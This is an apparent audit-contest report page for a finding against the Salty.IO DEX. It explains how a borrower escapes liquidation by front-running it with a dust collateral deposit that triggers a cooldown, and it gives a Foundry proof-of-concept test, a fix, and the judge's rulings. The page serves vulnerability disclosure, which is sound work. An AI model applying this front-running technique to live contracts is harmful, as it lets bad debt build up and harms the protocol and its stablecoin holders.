Salty.IO - 0xlemon's results

An Ethereum-based DEX with zero swap fees, yield-generating Automatic Arbitrage, and a native WBTC/WETH backed stablecoin.

General Information

Platform: Code4rena

Start Date: 16/01/2024

Pot Size: $80,000 USDC

Total HM: 37

Participants: 178

Period: 14 days

Judge: Picodes

Total Solo HM: 4

Id: 320

League: ETH

Salty.IO

Findings Distribution

Researcher Performance

Rank: 170/178

Findings: 1

Award: $0.78

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L140 https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L104-L111

Vulnerability details

Summary

Users can escape liquidation by front-running the liquidation transaction and adding very little collateral.

Vulnerability Details

When trying to liquidate a user we decrease his shares and in that CollateralAndLiquidity::_decreaseUserShare function we have a cooldown argument that is set to true in the liquidateUser function. This means that a user has to wait a default of 1 hour before being able to do other actions in that contract. This can be exploited by the user:

  • A user sees a liquidation transaction in the mempool that will remove his collateral
  • He front-runns the liquidation transaction by adding collateral that has very little value (just above the Dust amount which is 100 wei)
  • Now he is in the cooldown period of 1 hour
  • The liquidation transaction goes through but it reverts because the user isn't allowed to perform any actions in his cooldown period.
  • The user can keep doing this as long as he wants

Proof of Concept

Add this test in 2024-01-salty\src\stable\tests\CollateralAndLiquidity.t.sol Run COVERAGE="yes" NETWORK="sep" forge test --match-test testEscapingLiquidation -vvv --rpc-url (your rpc url)

function testEscapingLiquidation() public { // BTC price is $40,000 // ETH price is $2,000 vm.startPrank(DEPLOYER); forcedPriceFeed.setBTCPrice(40000 ether); forcedPriceFeed.setETHPrice(2000 ether); vm.stopPrank(); // The first user that deposited (not important it is just to keep enough liquidity after liquidation) vm.prank(charlie); collateralAndLiquidity.depositCollateralAndIncreaseShare(1 * 10 ** 8, 20 ether, 0, block.timestamp, false); // Alice deposits 1WBTC and 20ETH because the ratio is 1:20 // And then she borrows the max amount and is 200% overcollateralized // Alice deposited a total of $80k collateral and borrowed $40k vm.startPrank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare(1 * 10 ** 8, 20 ether, 0, block.timestamp, false); uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); collateralAndLiquidity.borrowUSDS(maxUSDS); vm.stopPrank(); vm.warp(block.timestamp + 60 * 60 + 1); // Can be used to test liquidation by reducing BTC and ETH price. // Original collateral ratio is 200% with a minimum collateral ratio of 110%. // So dropping the prices by 46% should allow positions to be liquidated and still // ensure that the collateral is above water and able to be liquidated successfully. // Now 1WBTC is worth $21,600 1WETH = $1,080 // Alice's collateral is now worth $43,200 and she has $40k borrowed // This leaves Alice 108% overcollateralized which is below the threshold for liquidation(110%) vm.startPrank(DEPLOYER); forcedPriceFeed.setBTCPrice((forcedPriceFeed.getPriceBTC() * 54) / 100); forcedPriceFeed.setETHPrice((forcedPriceFeed.getPriceETH() * 54) / 100); vm.stopPrank(); // Someone tries to liquidate Alice but she sees the transaction in the mempool and front-runs it vm.prank(alice); // Deposit just above the Dust amount // 0.00000101 This is the amount of WBTC we deposit which is worth 0.021816$ and WETH is worth even less // For approximately 2 cents Alice escapes liquidation for 1 hour collateralAndLiquidity.depositCollateralAndIncreaseShare(101, 20 * 101, 0, block.timestamp, false); // Now the liquidator transaction goes through but reverts because of the cooldown vm.prank(bob); vm.expectRevert("Must wait for the cooldown to expire"); collateralAndLiquidity.liquidateUser(alice); }

In this example we see that a user was able to escape liquidation just for approximately 0.02$. After 1 hour he can do the same and continue that until he decides it is no longer worth it.

Impact

Leaves users unpunished for keeping a position that is below the required threshold. Potentially a lot of bad debt can be left in the contract leading to the depeg of the USDS stablecoin.

Tools Used

Manual Review, VS Code, Foundry

In the liquidateUser function when calling _decreaseUserShare change the useCooldown argument from true to false. This will now enable liquidators to do the liquidation process regardless of any user actions done prior to this one.

Assessed type

Timing

#0 - c4-judge

2024-02-02T11:10:43Z

Picodes marked the issue as duplicate of #312

#1 - c4-judge

2024-02-17T18:50:05Z

Picodes marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter